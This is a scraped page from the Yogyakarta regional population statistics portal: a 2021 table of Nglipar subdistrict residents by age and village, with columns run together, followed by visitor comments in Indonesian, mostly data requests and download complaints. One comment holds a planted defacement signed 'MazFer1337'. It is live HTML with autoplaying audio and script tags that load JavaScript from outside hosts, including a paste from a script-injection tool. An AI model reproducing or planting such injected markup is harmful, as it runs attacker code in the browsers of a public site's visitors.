Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN NGLIPAR, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaNATAHPILANGREJOKEDUNGPOHPENGKOLKEDUNGKERISNGLIPARKATONGANTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun3649 854932 818353 1364749 964952 1014144 854945 94354 324 678
2 tahun1716 332023 435038 884523 682928 572931 602934 63219 193 412
3 tahun2925 542518 433737 743627 633931 703217 493123 54229 178 407
4 tahun2225 473216 484037 773827 652531 561824 423027 57205 187 392
5 tahun2723 501522 373941 802634 603721 583422 563834 72216 197 413
6 tahun2518 431932 513935 743034 643327 604039 793423 57220 208 428
7 tahun2621 471920 394648 943435 693423 572029 493133 64210 209 419
8 tahun1932 512121 425039 893535 702731 582131 522541 66198 230 428
9 tahun1922 412824 525847 1055238 903627 633431 653935 74266 224 490
10 tahun3529 643228 604653 994437 812833 613437 713436 70253 253 506
11 tahun2631 573622 585154 1054541 862732 593537 723824 62258 241 499
12 tahun2530 552231 535557 1124736 833128 592836 643533 68243 251 494
13 tahun3526 611623 395050 1003143 742725 523926 654736 83245 229 474
14 tahun2619 451923 424139 804735 823431 654228 704339 82252 214 466
15 tahun2224 462227 495957 1163732 692834 623724 613623 59241 221 462
16 tahun3219 512728 553738 753336 692340 633432 663546 81221 239 460
17 tahun2424 482624 505843 1014335 784327 703224 563428 62260 205 465
18 tahun2518 432322 454744 913640 764029 692832 604127 68240 212 452
19 tahun2024 442137 584340 834247 892417 413025 553640 76216 230 446
20 tahun2831 592825 533544 794143 842628 544125 663437 71233 233 466
21 tahun3332 653136 674444 885243 953328 614537 824835 83286 255 541
22 tahun2832 602530 554029 694334 772926 553033 632941 70224 225 449
23 tahun3624 603525 604836 844343 864632 783728 653529 64280 217 497
24 tahun2625 513526 615142 934336 794638 844133 744923 72291 223 514
25 tahun3424 582728 555044 944146 874743 904126 672746 73267 257 524
26 tahun2925 543126 574245 874541 864334 773131 623437 71255 239 494
27 tahun1725 423126 573547 824440 843738 752027 474425 69228 228 456
28 tahun2526 512726 533530 654229 714132 734319 623328 61246 190 436
29 tahun2821 491717 343542 773629 654538 832324 473528 63219 199 418
30 tahun2533 582218 403441 754226 682730 572526 513325 58208 199 407
31 tahun3120 512826 544137 782936 653122 533026 562323 46213 190 403
32 tahun2219 411615 313033 633036 662521 461528 432723 50165 175 340
33 tahun1817 352319 423340 733626 622828 562827 552331 54189 188 377
34 tahun722 291921 403949 882625 512234 562728 552732 59167 211 378
35 tahun3324 571724 414340 833124 554035 753019 492121 42215 187 402
36 tahun2525 502417 414542 873332 654434 783030 603328 61234 208 442
37 tahun3118 492023 434348 913139 702524 493234 662528 53207 214 421
38 tahun2823 512624 506864 1324843 913043 734132 734028 68281 257 538
39 tahun3133 642422 465244 964443 874439 833434 683145 76260 260 520
40 tahun1830 481518 334737 844141 823341 743431 654432 76232 230 462
41 tahun2919 482534 595745 1024448 923229 613625 613535 70258 235 493
42 tahun3524 592424 484137 785040 904340 832928 573830 68260 223 483
43 tahun3226 583120 514556 1014835 833428 623345 783931 70262 241 503
44 tahun2724 512220 424951 1003746 832728 553827 653731 68237 227 464
45 tahun2313 361930 494233 754543 884241 832228 503433 67227 221 448
46 tahun1729 461722 395038 883639 753132 633334 673230 62216 224 440
47 tahun2431 552232 543535 704840 882328 513624 603127 58219 217 436
48 tahun2936 651620 364052 923947 863433 672422 461742 59199 252 451
49 tahun2028 483034 643936 753941 802841 692830 582739 66211 249 460
50 tahun2533 583029 595442 963049 793540 753927 663340 73246 260 506
51 tahun3241 732027 474444 885169 1202731 582927 563537 72238 276 514
52 tahun3030 603428 624650 964638 843342 753634 703852 90263 274 537
53 tahun3230 623632 683542 773149 803833 712939 684140 81242 265 507
54 tahun2933 623427 612738 654334 772340 633326 594136 77230 234 464
55 tahun2942 711936 553837 754239 813631 674034 742338 61227 257 484
56 tahun2940 692324 473840 782935 642829 573128 592926 55207 222 429
57 tahun4233 753231 633230 624035 751724 412624 504126 67230 203 433
58 tahun3924 631723 402945 742623 492738 651528 432940 69182 221 403
59 tahun2023 431720 372527 522535 602835 631826 443224 56165 190 355
60 tahun3122 531528 433334 673024 542622 482432 563244 76191 206 397
61 tahun3127 581825 434725 722139 603426 603132 632332 55205 206 411
62 tahun2627 531922 413040 703719 564236 782627 532022 42200 193 393
63 tahun1316 291317 302231 533136 672828 562827 552532 57160 187 347
64 tahun2024 441314 272733 603033 632732 592027 471731 48154 194 348
65 tahun2728 551512 273139 702935 642330 531929 482932 61173 205 378
66 tahun1214 261518 332327 503419 532113 342115 362725 52153 131 284
67 tahun1715 321620 362523 482424 482725 522221 432521 46156 149 305
68 tahun1519 341914 332123 442121 422016 361724 412023 43133 140 273
69 tahun1520 352316 392222 442221 433219 511719 362019 39151 136 287
70 tahun1723 402116 372626 522735 622115 361713 302226 48151 154 305
71 tahun1112 231211 231932 511721 381319 32912 211511 2696 118 214
72 tahun1016 261323 362630 561524 391326 391123 342529 54113 171 284
73 tahun1016 26913 222217 391617 33614 201313 261420 3490 110 200
74 tahun89 17812 201328 41714 211316 29129 211015 2571 103 174
75 tahun714 211215 272130 511122 331113 241210 221825 4392 129 221
76 tahun612 18109 191111 221710 27410 1499 1879 1664 70 134
77 tahun410 14915 241212 2466 1277 141016 26913 2257 79 136
78 tahun514 19814 221813 311921 401518 331410 241323 3692 113 205
79 tahun36 978 151213 251011 211013 2329 111616 3260 76 136
80 ke atas5966 1256198 15984139 223103149 2526696 16259107 16696140 236528 795 1.323
Jumlah1.9331.9733.9061.7971.8983.6953.1303.1546.2842.8452.8255.6702.4012.3924.7932.2542.2074.4612.4952.5375.032 16.855 16.986 33.841
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih